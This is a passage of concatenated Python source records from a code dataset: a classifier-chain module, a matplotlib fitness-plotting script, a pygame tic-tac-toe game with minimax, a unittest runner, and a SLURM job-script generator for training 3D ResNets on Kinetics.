fit(self, X, y):\n # fit L = len(y[0]) BR classifiers h_i\n # on X + y[:i] as input space and y[i+1] as output\n # \n self.predictions = y\n self.num_instances = y.shape[0]\n self.label_count = y.shape[1]\n self.classifiers = [None for x in xrange(self.label_count)]\n self.draw_ordering()\n\n for label in xrange(self.label_count):\n classifier = copy.deepcopy(self.classifier)\n y_tolearn = self.generate_data_subset(y, self.ordering[label], axis = 1)\n y_toinput = self.generate_data_subset(y, self.ordering[:label], axis = 1)\n\n X_extended = np.append(X, y_toinput, axis = 1)\n classifier.fit(X_extended, y_tolearn)\n self.classifiers[self.ordering[label]] = classifier\n\n return self\n\n def predict(self, X):\n result = np.zeros((X.shape[0], self.label_count), dtype='i8')\n for instance in xrange(X.shape[0]):\n predictions = []\n for label in self.ordering:\n prediction = self.classifiers[label].predict(np.append(X[instance], predictions))\n predictions.append(prediction)\n result[instance][label] = prediction\n return result\n\nclass EnsembleClassifierChains(MLClassifierBase):\n \"\"\"docstring for EnsembleClassifierChains\"\"\"\n def __init__(self, \n classifier = None, \n model_count = None, \n training_sample_percentage = None,\n threshold = None):\n super(EnsembleClassifierChains, self).__init__(classifier)\n self.model_count = model_count\n self.threshold = threshold\n self.percentage = training_sample_percentage\n self.models = None\n\n\n def generate_partition(self, X, y):\n self.partition = range(y.shape[1])\n self.model_count = y.shape[1]\n\n def fit(self, X, y):\n X = self.ensure_input_format(X, sparse_format = 'csr', enforce_sparse = True)\n y = self.ensure_output_format(y, sparse_format = 'csc', enforce_sparse = True)\n\n self.generate_partition(X, y)\n self.models = []\n self.label_count = y.shape[1]\n for model in xrange(self.model_count):\n classifier = copy.deepcopy(self.classifier)\n sampled_rows = self.generate_data_subset(X, self.partition[model], axis = 0)\n sampled_y = self.generate_data_subset(y, self.partition[model], axis = 0)\n classifier.fit(self.ensure_input_format(sampled_rows), self.ensure_output_format(sampled_y))\n self.models.append(classifier)\n return self\n\n def predict(self, X):\n results = np.zeros((X.shape[0], self.label_count), dtype='i8')\n for model in self.models:\n prediction = model.predict(X)\n for row in xrange(X.shape[0]):\n for label in xrange(self.label_count):\n results[model.ordering[label]] += prediction[row][label]\n\n sums = np.zeros(self.label_count, dtype='float')\n for row in results:\n sums += row\n\n for row in xrange(len(X)):\n for label in xrange(self.label_count):\n results[row][label] = int(results[row][label]/float(sums[label]) > self.threshold)\n\n return results\n ","sub_path":"skmultilearn/problem_transform/transformations.py","file_name":"transformations.py","file_ext":"py","file_size_in_byte":3810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"124247875","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# author: yu.yang1@yitu-inc.com\n\n# https://blog.csdn.net/u012328159/article/details/79240652\n# https://blog.csdn.net/Nyte2018/article/details/88835890\n\nimport matplotlib\n \nmatplotlib.use('TkAgg') #或者PDF, SVG或PS\n \nimport matplotlib.pyplot as plt\n\nimport json\nimport os\n\nimport sys\n\nplt.rcParams['font.sans-serif']=['SimHei'] #用来正常显示中文标签\nplt.rcParams['axes.unicode_minus'] = False #用来正常显示负号\n\n#plt.figure(1) # 创建图表1\n#plt.figure(2) # 创建图表2\n#x1 = plt.subplot(211) # 在图表2中创建子图1\n#x2 = plt.subplot(212) # 在图表2中创建子图2\n\n# https://blog.csdn.net/qq_32867925/article/details/103270531?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.control&dist_request_id=&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.control\n\nfile_name = sys.argv[1]\njpg_file = file_name.replace(\".json\", \".jpg\")\n\ndump_data = json.load(open(file_name))\nwith open(file_name, \"r\") as ouf:\n '''\n xt = [i for i in range(0, len(dump_data[\"ABC\"]['time']))]\n plt.subplot(122)\n #plt.figure(1) # 创建图表1\n if \"ABC\" in dump_data:\n time1 = dump_data[\"ABC\"]['time']\n #time1 = [x/10 for x in time1]\n plt.plot(xt,time1,'-',color = 'r',label=\"ABC\")\n if \"EABC\" in dump_data:\n time2 = dump_data[\"EABC\"]['time']\n #time2 = [x/10 for x in time1]\n plt.plot(xt,time2,'-',color = 'g',label=\"EABC\")\n if \"LSABC\" in dump_data:\n time3 = dump_data[\"LSABC\"]['time']\n #time3 = [x/10 for x in time1]\n plt.plot(xt,time3,'-.',color = 'y',label=\"LSABC\")\n if \"DEABC\" in dump_data:\n time4 = dump_data[\"DEABC\"]['time']\n #time4 = [x/10 for x in time1]\n plt.plot(xt,time4,':',color = 'b',label=\"DEABC\")\n if \"HSABC\" in dump_data:\n time5 = dump_data[\"HSABC\"]['time']\n #time5 = [x/10 for x in time1]\n plt.plot(xt,time5,':',color = 'k',label=\"HSABC\")\n if \"IEABC\" in dump_data:\n time6 = dump_data[\"IEABC\"]['time']\n #time6 = [x/10 for x in time1]\n plt.plot(xt,time6,'--',color = 'c',label=\"IEABC\")\n if \"SFLA\" in dump_data:\n time7 = dump_data[\"SFLA\"]['time']\n #time7 = [x/10 for x in time1]\n plt.plot(xt,time7,'--',color = 'm',label=\"SFLA\")\n plt.xlabel(u\"迭代次数\") #横坐标名字\n plt.ylabel(u\"累计时间(微妙)\") #纵坐标名字\n plt.legend(loc = \"best\") #图例\n '''\n\n xf = [i for i in range(0, len(dump_data[\"ABC\"]['fitness']))]\n plt.subplot(111)\n #plt.figure(2)# 创建图表1\n if \"ABC\" in dump_data:\n fitness1 = dump_data[\"ABC\"]['fitness']\n plt.plot(xf,fitness1,',',color = 'k',label=\"ABC\")\n\n if \"EABC\" in dump_data:\n fitness2 = dump_data[\"EABC\"]['fitness']\n plt.plot(xf,fitness2,'-.',color = 'g',label=\"EABC\")\n\n '''\n if \"IEABC\" in dump_data:\n fitness6 = dump_data[\"IEABC\"]['fitness']\n plt.plot(xf,fitness6,'--',color = 'c',label=\"IEABC\")\n '''\n\n if \"LSABC\" in dump_data:\n fitness3 = dump_data[\"LSABC\"]['fitness']\n plt.plot(xf,fitness3,'--',color = 'y',label=\"LSABC\")\n\n if \"DEABC\" in dump_data:\n fitness4 = dump_data[\"DEABC\"]['fitness']\n plt.plot(xf,fitness4,':',color = 'b',label=\"DEABC\")\n\n if \"HSABC\" in dump_data:\n fitness5 = dump_data[\"HSABC\"]['fitness']\n plt.plot(xf,fitness5,':',color = 'r',label=\"HSABC\")\n\n if \"SFLA\" in dump_data:\n fitness7 = dump_data[\"SFLA\"]['fitness']\n plt.plot(xf,fitness7,'-',color = 'm',label=\"SFLA\")\n\n #解决中文显示问题\n #plt.rcParams['font.sans-serif']=['FangSong']\n #plt.rcParams['axes.unicode_minus'] = False\n plt.xlabel(u\"迭代次数\") #横坐标名字\n plt.ylabel(u\"适应度值\") #纵坐标名字\n plt.legend(loc = \"best\") #图例\n\n plt.savefig(jpg_file)\n\n #plt.show()\n","sub_path":"my1/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":3922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"223649412","text":"import pygame\nfrom pygame.locals import *\n\npygame.font.init()\ntitlefont = pygame.font.SysFont('Arial', 60)\nmenufont = pygame.font.SysFont('Arial', 30)\n\n# Checks whether the given player has 3 pieces in a row on the given board\ndef is_win(grid, player):\n\t# Check if won by 3 in a row\n\tfor row in range(3):\n\t\tif grid[row] == [player,player,player]:\n\t\t\treturn True\n\t# Check if won by 3 in a column\n\tfor column in range(3):\n\t\tthreeinarow = True\n\t\tfor row in range(3):\n\t\t\tif grid[row][column] != player:\n\t\t\t\tthreeinarow = False\n\t\tif threeinarow:\n\t\t\treturn True\n\t# Check the diagonals\n\tif grid[0][0] == player and grid[1][1] == player and grid[2][2] == player:\n\t\treturn True\n\tif grid[0][2] == player and grid[1][1] == player and grid[2][0] == player:\n\t\treturn True\n\treturn False\n\n# Checks whether the grid is a tie due to having no more spaces left\ndef is_tie(grid):\n\tfor row in range(3):\n\t\tfor column in range(3):\n\t\t\tif grid[row][column] == \"\":\n\t\t\t\treturn False\n\treturn True\n\n# Returns all possible grids that could happen after one move from the given player\ndef get_successors(grid, player):\n\tsuccessors = []\n\tfor row in range(3):\n\t\tfor column in range(3):\n\t\t\t# If a spot is empty, it's a potential move, so create a successor for it\n\t\t\tif grid[row][column] == \"\":\n\t\t\t\tcopy = [row.copy() for row in grid]\n\t\t\t\tcopy[row][column] = player\n\t\t\t\tsuccessors.append(copy)\n\treturn successors\n\n# Evaluate how good a grid is. 1 = x wins, 0 = o wins, .5 = tie/not over yet\ndef evaluation_function(grid):\n\tif is_win(grid, \"x\"):\n\t\treturn 1\n\tif is_win(grid, \"o\"):\n\t\treturn 0\n\treturn 0.5\n\ndef custom_evaluation_function(grid):\n\t# With a smarter evaluation function even the non-impossible AI can be nearly unstoppable.\n\t# Try assigning a score based on custom features like having the middle square or 2 in a row\n\traise NotImplementedError()\n\n# Utility function to return the opposing player\ndef other(player):\n\tif player == \"x\":\n\t\treturn \"o\"\n\telse:\n\t\treturn \"x\"\n\n# Defines that x wishes to maximize the score while o wishes to minimize it. Optional to use this variable\nplayer_functions = {'x': max, 'o': min}\n\n# Recursively calculates the value of a particular grid\ndef value(grid, player, depth, maxdepth):\n\t# Terminal conditions - stop recursing and return a value\n\tif is_win(grid, player) or is_win(grid, other(player)) or is_tie(grid) or depth >= maxdepth:\n\t\treturn evaluation_function(grid)\n\t# Recursively get the value of each child\n\tchildren = get_successors(grid, player)\n\tchild_values = []\n\tfor i in range(len(children)):\n\t\tchild_values.append(value(children[i], other(player), depth+1, maxdepth))\n\t# Choose the best score for this player\n\tcomparison = player_functions[player]\n\treturn comparison(child_values)\n\n# Uses value() to get the score for each of grid's children then chooses the best child\ndef minimax(grid, player, maxdepth):\n\t# Terminal conditions - stop recursing and return a value\n\tif is_win(grid, player) or is_win(grid, other(player)) or is_tie(grid):\n\t\traise ValueError(\"Cannot choose next best move when game has terminated\")\n\t# Recursively get the value of each child\n\tchildren = get_successors(grid, player)\n\tchild_values = []\n\tfor i in range(len(children)):\n\t\tchild_values.append(value(children[i], other(player), 0, maxdepth))\n\t# Choose the best child for this player\n\tcomparison = player_functions[player]\n\tbestvalue = comparison(child_values)\n\treturn children[child_values.index(bestvalue)]\t\n\n# Used to reset the grid after the game ends\ndef empty_grid():\n\treturn [[\"\",\"\",\"\"],[\"\",\"\",\"\"],[\"\",\"\",\"\"]]\n\n# The main class which runs the game\nclass App:\n\tdef __init__(self):\n\t\tself._running = True\n\t\tself.screen = None\n\t\tself.size = self.width, self.height = 600, 600\n\t\t\n\t\t# Variables for the player, AI difficulty, and grid of pieces\n\t\tself.grid = empty_grid()\n\t\tself.player = \"x\"\n\t\tself.difficulty = 1\n\t\t\n\t\t# Helper variables for making the menu and game over screens work properly\n\t\tself.menu = True\n\t\tself.gameover = False\n\t\tself.waitcounter = 0\n\t\tself.clock = pygame.time.Clock()\n\t\tself.message = None\n\n\t# Set up the screen\n\tdef on_init(self):\n\t\tpygame.init()\n\t\tself.screen = pygame.display.set_mode(self.size, pygame.HWSURFACE | pygame.DOUBLEBUF)\n\t\tself._running = True\n\n\t# Whenever a key is pressed or the screen is clicked, handle the event\n\tdef on_event(self, event):\n\t\tif event.type == pygame.QUIT:\n\t\t\tself._running = False\n\t\tif event.type == pygame.MOUSEBUTTONDOWN and event.button == 1:\n\t\t\tx,y = pygame.mouse.get_pos()\n\t\t\t# On the menu, handle each of the 4 buttons\n\t\t\tif self.menu:\n\t\t\t\tif x > 225 and x < 375:\n\t\t\t\t\tif y > 100 and y < 175:\n\t\t\t\t\t\tself.menu = False\n\t\t\t\t\t\tif self.player == \"o\":\n\t\t\t\t\t\t\tself.grid = minimax(self.grid, other(self.player), self.difficulty)\n\t\t\t\t\tif y > 450 and y < 525:\n\t\t\t\t\t\tself._running = False\n\t\t\t\tif x > 125 and x < 275:\n\t\t\t\t\tif y > 250 and y < 325:\n\t\t\t\t\t\tself.difficulty = 1\n\t\t\t\t\tif y > 350 and y < 425:\n\t\t\t\t\t\tself.player = \"x\"\n\t\t\t\tif x > 325 and x < 475:\n\t\t\t\t\tif y > 250 and y < 325:\n\t\t\t\t\t\tself.difficulty = 4\n\t\t\t\t\tif y > 250 and y < 425:\n\t\t\t\t\t\tself.player = \"o\"\n\n\t\t\t# Outside of the menu, determine where the player clicked and try to move there\n\t\t\telse:\n\t\t\t\tif not self.gameover:\n\t\t\t\t\tx,y = pygame.mouse.get_pos()\n\t\t\t\t\ti,j = 0,0\n\t\t\t\t\tif x < 200:\n\t\t\t\t\t\tj = 0\n\t\t\t\t\telif x > 400:\n\t\t\t\t\t\tj = 2\n\t\t\t\t\telse:\n\t\t\t\t\t\tj = 1\n\t\t\t\t\tif y < 200:\n\t\t\t\t\t\ti = 0\n\t\t\t\t\telif y > 400:\n\t\t\t\t\t\ti = 2\n\t\t\t\t\telse:\n\t\t\t\t\t\ti = 1\n\t\t\t\t\tif self.grid[i][j] == \"\":\n\t\t\t\t\t\tself.grid[i][j] = self.player\n\t\t\t\t\t\t# Check whether the game should now end due to a win or tie\n\t\t\t\t\t\tif is_win(self.grid, self.player):\n\t\t\t\t\t\t\tself.message = \"You Win!\"\n\t\t\t\t\t\t\tself.gameover=True\n\t\t\t\t\t\t\tself.grid = empty_grid()\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\tif is_tie(self.grid):\n\t\t\t\t\t\t\tself.message = \"Cat's game\"\n\t\t\t\t\t\t\tself.gameover=True\n\t\t\t\t\t\t\tself.grid = empty_grid()\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t# Let the AI move if the game isn't over\n\t\t\t\t\t\tself.grid = minimax(self.grid, other(self.player), self.difficulty)\n\t\t\t\t\t\t# Check whether the game should now end due to a loss or tie\n\t\t\t\t\t\tif is_win(self.grid, other(self.player)):\n\t\t\t\t\t\t\tself.message = \"You Lose!\"\n\t\t\t\t\t\t\tself.gameover=True\n\t\t\t\t\t\t\tself.grid = empty_grid()\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\tif is_tie(self.grid):\n\t\t\t\t\t\t\tself.message = \"Cat's game\"\n\t\t\t\t\t\t\tself.gameover=True\n\t\t\t\t\t\t\tself.grid = empty_grid()\n\t\t\t\t\t\t\treturn\n\n\t# Counts loops to wait 4 seconds after game over before returning to menu\n\tdef on_loop(self):\n\t\tself.clock.tick(60)\n\t\tif self.gameover:\n\t\t\tself.waitcounter += 1\n\t\t\tif self.waitcounter == 60 * 4:\n\t\t\t\tself.waitcounter = 0\n\t\t\t\tself.gameover = False\n\t\t\t\tself.menu = True\n\t\t\t\tself.message = None\n\n\t# Draws all graphics\n\tdef on_render(self):\n\t\tself.screen.fill((255,255,255))\n\t\t# Draws either the current game or the end game message\n\t\tif not self.menu:\n\t\t\tif self.message:\n\t\t\t\tmessagesurface = titlefont.render(self.message, False, (0,0,0))\n\t\t\t\tself.screen.blit(messagesurface, (self.width//2 - messagesurface.get_width()//2, self.height//2 - messagesurface.get_height()//2))\n\t\t\telse:\n\t\t\t\tpygame.draw.line(self.screen, (0,0,0), (200,0), (200,600))\n\t\t\t\tpygame.draw.line(self.screen, (0,0,0), (400,0), (400,600))\n\t\t\t\tpygame.draw.line(self.screen, (0,0,0), (0,200), (600,200))\n\t\t\t\tpygame.draw.line(self.screen, (0,0,0), (0,400), (600,400))\n\t\t\t\tfor row in range(3):\n\t\t\t\t\tfor col in range(3):\n\t\t\t\t\t\tif self.grid[row][col] == \"o\":\n\t\t\t\t\t\t\tpygame.draw.circle(self.screen, (0,0,0), (col*200+100, row*200+100), 75, 1)\n\t\t\t\t\t\tif self.grid[row][col] == \"x\":\n\t\t\t\t\t\t\tpygame.draw.line(self.screen, (0,0,0), (col*200-53+100, row*200-53+100), (col*200+53+100,row*200+53+100))\n\t\t\t\t\t\t\tpygame.draw.line(self.screen, (0,0,0), (col*200+53+100, row*200-53+100), (col*200-53+100,row*200+53+100))\n\t\t# Draws the menu buttons and captions\n\t\telse:\n\t\t\ttitlesurface = titlefont.render(\"Tic Tac Toe\", False, (0,0,0))\n\t\t\tself.screen.blit(titlesurface, (180, 10))\n\t\t\t# Play button\n\t\t\tpygame.draw.rect(self.screen, (200,200,200), (225, 100, 150, 75))\n\t\t\ttextsurface = menufont.render(\"Play\", False, (0,0,0))\n\t\t\tself.screen.blit(textsurface, (280,120))\n\t\t\t# Regular difficulty\n\t\t\tpygame.draw.rect(self.screen, (100,200,100), (125, 250, 150, 75))\n\t\t\ttextsurface = menufont.render(\"Regular\", False, (0,0,0))\n\t\t\tself.screen.blit(textsurface, (150,270))\n\t\t\t# Impossible difficulty\n\t\t\tpygame.draw.rect(self.screen, (200,100,100), (325, 250, 150, 75))\n\t\t\ttextsurface = menufont.render(\"Impossible\", False, (0,0,0))\n\t\t\tself.screen.blit(textsurface, (350,270))\n\t\t\t# Play as X\n\t\t\tpygame.draw.rect(self.screen, (200,200,200), (125, 350, 150, 75))\n\t\t\ttextsurface = menufont.render(\"Play as X\", False, (0,0,0))\n\t\t\tself.screen.blit(textsurface, (150,370))\n\t\t\t# Play as O\n\t\t\tpygame.draw.rect(self.screen, (200,200,200), (325, 350, 150, 75))\n\t\t\ttextsurface = menufont.render(\"Play as O\", False, (0,0,0))\n\t\t\tself.screen.blit(textsurface, (350,370))\n\t\t\t# Quit button\n\t\t\tpygame.draw.rect(self.screen, (200,200,200), (225, 450, 150, 75))\n\t\t\ttextsurface = menufont.render(\"Quit\", False, (0,0,0))\n\t\t\tself.screen.blit(textsurface, (280,470))\n\t\tpygame.display.update()\n\t\n\tdef on_cleanup(self):\n\t\tpygame.quit()\n \n \t# Calls the other functions in the correct order and fetches events\n\tdef on_execute(self):\n\t\tif self.on_init() == False:\n\t\t\tself._running = False\n \n\t\twhile( self._running ):\n\t\t\tfor event in pygame.event.get():\n\t\t\t\tself.on_event(event)\n\t\t\tself.on_loop()\n\t\t\tself.on_render()\n\t\tself.on_cleanup()\n \nif __name__ == \"__main__\" :\n\ttheApp = App()\n\ttheApp.on_execute()","sub_path":"TCSB-Rise-of-the-Machines/TicTacToe/Solutions/tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":9356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"147216767","text":"import unittest\nimport HTMLTestRunner\nimport os\ncurrent_path=os.path.dirname(os.path.realpath(__file__))\nreporter_path=os.path.join(current_path,\"report\")\nif not os.path.exists(reporter_path):os.mkdir(reporter_path)\ntest_dir='./'\nsuite=unittest.TestLoader().discover(test_dir,pattern=\"*test.py\")\nif __name__==\"__main__\":\n html_report=reporter_path+r\"\\result.html\"\n fp=open(html_report,\"wb\")\n runner=HTMLTestRunner.HTMLTestRunner(stream=fp,verbosity=2,title=\"单元测试报告\",description=\"用例执行情况\")\n runner.run(suite)\n\n\n\n","sub_path":"Test/discover.py","file_name":"discover.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"6126232","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Dec 21 10:23:32 2020\n\n@author: ombretta\n\"\"\"\n\n'''Arguments IN 3D ResNets PyTorch'''\n\nimport os \n\nsubmit_on_cluster = True\npretrained = False\ncontinue_training = True\n\ntext = ''\n\nif submit_on_cluster:\n text = '#!/bin/sh\\n'+\\\n '#SBATCH --partition=general\\n'+\\\n '#SBATCH --qos=long\\n'+\\\n '#SBATCH --time=168:00:00\\n'+\\\n '#SBATCH --ntasks=1\\n'+\\\n '#SBATCH --mail-type=END\\n'+\\\n '#SBATCH --cpus-per-task=4\\n'+\\\n '#SBATCH --mem=16000\\n'+\\\n '#SBATCH --gres=gpu:8\\n'+\\\n 'module use /opt/insy/modulefiles\\n'+\\\n 'module load cuda/10.0 cudnn/10.0-7.6.0.64\\n'+\\\n 'srun '\n \n'''List of arguments from the repository:'''\n# Root directory path\n#root_path = '/tudelft.net/staff-bulk/ewi/insy/VisionLab/ombrettastraff/'\nroot_path = '/tudelft.net/staff-bulk/ewi/insy/'\n# Directory path of videos\n#video_path = 'CV-DataSets/kinetics400/jpg'\nvideo_path = 'CV-DataSets/kinetics400/'\n# Annotation file path\nannotation_path = 'CV-DataSets/kinetics400/kinetics400.json'\n# Used dataset (activitynet | kinetics | ucf101 | hmdb51)\ndataset = 'kinetics'\n# Number of classes (activitynet: 200, kinetics: 400 or 600, ucf101: 101, hmdb51: 51)\nn_classes = 400\n# Number of classes of pretraining task. When using --pretrain_path, this must be set.\nn_pretrain_classes = 400\n# Pretrained model path (.pth).\n#pretrain_path = \"VisionLab/ombrettastraff/3D-ResNets-PyTorch/pretrained_models/r3d50_K_200ep.pth\"\npretrain_path = \"VisionLab/ombrettastraff/3D-ResNets-PyTorch/results/kinetics_vidbagnet_tem_9_48frames_bs128_0/save_13.pth\"\n# Module name of beginning of fine-tuning (conv1, layer1, fc, denseblock1, classifier, ...). The default means all layers are fine-tuned.\nft_begin_module = ''\n# Height and width of inputs\nsample_size = 64\n# Temporal duration of inputs\nsample_duration = 48\n# If larger than 1, input frames are subsampled with the stride.\nsample_t_stride = 1\n# Spatial cropping method in training. random is uniform. corner is selection from 4 corners and 1 center. random | corner | center)\ntrain_crop = 'random'\n# Min scale for random cropping in training\ntrain_crop_min_scale = 0.25\n# Min scale for random cropping in training\ntrain_crop_min_ratio = 0.75\n# If true holizontal flipping is not performed.\nno_hflip = False\n# If true colorjitter is performed.\ncolorjitter = False\n# Temporal cropping method in training. random is uniform. (random | center)\ntrain_t_crop = 'center'\n# Initial learning rate (divided by 10 while training by lr scheduler)\nlearning_rate = 0.01\n# Momentum\nmomentum = 0.9\n# dampening of SGD\ndampening = 0.0\n# Weight Decay\nweight_decay = 1e-3\n# dataset for mean values of mean subtraction (activitynet | kinetics | 0.5)\nmean_dataset = 'kinetics'\n# If true, inputs are not normalized by mean.\nno_mean_norm = False\n# If true, inputs are not normalized by standard deviation.\nno_std_norm = False\n# If 1, range of inputs is [0-1]. If 255, range of inputs is [0-255].\nvalue_scale = 255\n# Nesterov momentum\nnesterov = False\n# Currently only support SGD\noptimizer = 'sgd'\n# Type of LR scheduler (multistep | plateau)\nlr_scheduler = 'multistep'\n# Milestones of LR scheduler. See documentation of MultistepLR.\nmultistep_milestones = \"30 60 90\"\n# If true, overwriting multistep_milestones when resuming training.\noverwrite_milestones = False\n# Patience of LR scheduler. See documentation of ReduceLROnPlateau.\nplateau_patience = 10\n# Batch Size\nbatch_size = 128\n# Batch Size for inference. 0 means this is the same as batch_size.\ninference_batch_size = 0\n# If true, SyncBatchNorm is used instead of BatchNorm.\nbatchnorm_sync = False\n# Number of total epochs to run\nn_epochs = 100\n# Number of validation samples for each activity\nn_val_samples = 3\n# Save data (.pth) of previous training\nresume_path = None\n# If true, training is not performed.\nno_train = False\n# If true, validation is not performed.\nno_val = False\n# If true, inference is performed.\ninference = False\n# Used subset in inference (train | val | test)\ninference_subset = 'val'\n# Stride of sliding window in inference.\ninference_stride = 16\n# Cropping method in inference. (center | nocrop). When nocrop, fully convolutional inference is performed, and mini-batch consists of clips of one video.\ninference_crop = 'center'\n# If true, outputs for segments in a video are not averaged.\ninference_no_average = False\n# If true, cuda is not used.\nno_cuda = False\n# Number of threads for multi-thread loading\nn_threads = 8\n# Trained model is saved at every this epochs.\ncheckpoint = 1\n# (resnet | resnet2p1d | preresnet | wideresnet | resnext | densenet | vidbagnet |\nmodel = 'vidbagnet_tem'\n# Depth of resnet (10 | 18 | 34 | 50 | 101)\nmodel_depth = 50\n# Depth of resnet (9 | 17 | 33)\nreceptive_size = 9\n# Kernel size in t dim of conv1.\nconv1_t_size = 7\n# Stride in t dim of conv1.\nconv1_t_stride = 1\n# If true, the max pooling after conv1 is removed. \nno_max_pool = False\n# Shortcut type of resnet (A | B)\nresnet_shortcut = 'B'\n# The number of feature maps of resnet is multiplied by this value\nresnet_widen_factor = 1.0\n# Wide resnet k\nwide_resnet_k = 2\n# ResNeXt cardinality\nresnext_cardinality = 32\n# (rgb | flow)\ninput_type = 'rgb'\n# Manually set random seed\nmanual_seed = 10\n# If true, accimage is used to load images.\naccimage = False\n# Top-k scores are saved in json file.\noutput_topk = 5\n# (jpg | hdf5)\nfile_type = 'hdf5'\n# If true, output tensorboard log file.\ntensorboard = True\n# Use multi-processing distributed training to launch N processes per node, which has N GPUs.\ndistributed = False\n# url used to set up distributed training\ndist_url = 'tcp://127.0.0.1:23456'\n# number of nodes for distributed training\nworld_size = 1\n\ntext += \"python main.py \"\n\nif root_path: text += \" --root_path=\" + root_path\ntext += \" --video_path=\" + video_path\ntext += \" --annotation_path=\" + annotation_path\ntext += \" --dataset=\" + dataset\ntext += \" --n_classes=\" + str(n_classes)\ntext += \" --sample_size=\" + str(sample_size)\ntext += \" --sample_duration=\" + str(sample_duration)\ntext += \" --sample_t_stride=\" + str(sample_t_stride)\ntext += \" --train_crop=\" + train_crop\ntext += \" --train_crop_min_scale=\" + str(train_crop_min_scale)\ntext += \" --train_crop_min_ratio=\" + str(train_crop_min_ratio)\nif colorjitter: text += \" --colorjitter\"\ntext += \" --train_t_crop=\" + str(train_t_crop)\ntext += \" --learning_rate=\" + str(learning_rate)\ntext += \" --momentum=\" + str(momentum)\ntext += \" --dampening=\" + str(dampening)\ntext += \" --weight_decay=\" + str(weight_decay)\ntext += \" --mean_dataset=\" + mean_dataset\nif no_mean_norm: text += \" --no_mean_norm\"\nif no_std_norm: text += \" --no_std_norm\"\ntext += \" --value_scale=\" + str(value_scale)\nif nesterov: text += \" --nesterov\"\ntext += \" --optimizer=\" + optimizer\ntext += \" --lr_scheduler=\" + lr_scheduler\ntext += \" --multistep_milestones \" + str(multistep_milestones)\nif overwrite_milestones: text += \" --overwrite_milestones\"\ntext += \" --plateau_patience=\" + str(plateau_patience)\ntext += \" --inference_batch_size=\" + str(inference_batch_size)\nif batchnorm_sync: text += \" --batchnorm_sync\"\nif resume_path: text += \" --resume_path\"\nif no_train: text += \" --no_train\"\nif no_val: text += \" --no_val\"\nif inference: text += \" --inference\"\ntext += \" --inference_subset=\" + inference_subset\ntext += \" --inference_stride=\" + str(inference_stride)\ntext += \" --inference_crop=\" + inference_crop\nif no_cuda: text += \" --no_cuda\"\nif no_hflip: text += \" --no_hflip\"\nif no_mean_norm: text += \" --no_mean_norm\"\nif no_std_norm: text += \" --no_std_norm\"\ntext += \" --batch_size=\" + str(batch_size)\ntext += \" --inference_batch_size=\" + str(inference_batch_size)\ntext += \" --n_val_samples=\" + str(n_val_samples)\ntext += \" --n_epochs=\" + str(n_epochs)\nif inference_no_average: text += \" --inference_no_average\"\ntext += \" --n_threads=\" + str(n_threads)\ntext += \" --checkpoint=\" + str(checkpoint)\ntext += \" --model=\" + model\ntext += \" --model_depth=\" + str(model_depth)\ntext += \" --receptive_size=\" + str(receptive_size)\ntext += \" --conv1_t_size=\" + str(conv1_t_size)\ntext += \" --conv1_t_stride=\" + str(conv1_t_stride)\nif no_max_pool: text += \" --no_max_pool\"\ntext += \" --resnet_shortcut=\" + resnet_shortcut\ntext += \" --resnet_widen_factor=\" + str(resnet_widen_factor)\ntext += \" --wide_resnet_k=\" + str(wide_resnet_k)\ntext += \" --resnext_cardinality=\" + str(resnext_cardinality)\ntext += \" --input_type=\" + input_type\ntext += \" --manual_seed=\" + str(manual_seed)\nif accimage: text += \" --accimage\"\ntext += \" --output_topk=\" + str(output_topk)\nif file_type: text += \" --file_type=\" + file_type\nif tensorboard: text += \" --tensorboard\"\nif distributed: text += \" --distributed\"\ntext += \" --ft_begin_module=\"+ft_begin_module\n\n#last\n# Result directory path\nresults_root = 'VisionLab/ombrettastraff/3D-ResNets-PyTorch/results/'\nresult_path = dataset + \"_\" + model\nif model == 'resnet':\n result_path += \"_\" + str(model_depth)\nelse:\n result_path += \"_\" + str(receptive_size)\n#result_path += \"_TESTwithfirst64frames\"\nresult_path += \"_\" + str(sample_duration) + \"frames\"\nif sample_t_stride != 1:\n result_path += \"_\" + str(sample_t_stride) + \"tstride\"\nif sample_size != 64:\n result_path += \"_\" + str(sample_size) + \"size\"\nresult_path += \"_bs\" + str(batch_size)\n\nif pretrained:\n result_path += \"_kinetics_pretrained\"\n text += \" --pretrain_path=\" + pretrain_path\n text += \" --n_pretrain_classes=\" + str(n_pretrain_classes)\n \nindex = len([f for f in os.listdir(root_path+results_root) if result_path in f])\nif not os.path.exists(root_path+results_root+result_path+\"_\"+str(index)):\n os.mkdir(root_path+results_root+result_path+\"_\"+str(index))\n\ntext += \" --result_path=\" + results_root + result_path + \"_\" + str(index)\n\nprint(result_path, index)\nif continue_training:\n text += \" --n_pretrain_classes=\" + str(n_classes)\n pretrain_path = root_path+results_root+result_path+\"_\"+str(max(0, index-1))\n if os.path.exists(pretrain_path):\n print(pretrain_path)\n trained_models = [int(f.split(\"_\")[1].split(\".\")[0]) for f in os.listdir(pretrain_path) if \"save_\" in f]\n last_model_index = max(trained_models)\n pretrain_path += \"/save_\"+str(last_model_index)+\".pth\" \n text += \" --pretrain_path=\" + pretrain_path\n\nprint(text)\n\nif submit_on_cluster:\n with open(result_path+\"_\"+str(index)+\".sbatch\", \"w\") as file:\n file.write(text)\n os.system(\"sbatch \"+result_path+\"_\"+str(index)+\".sbatch\") \nelse:\n os.system(text)\n\n","sub_path":"kinetics_train.py","file_name":"kinetics_train.py","file_ext":"py","file_size_in_byte":10436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"455229537","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\ntests.py\n----------------------------------\n\nTests for 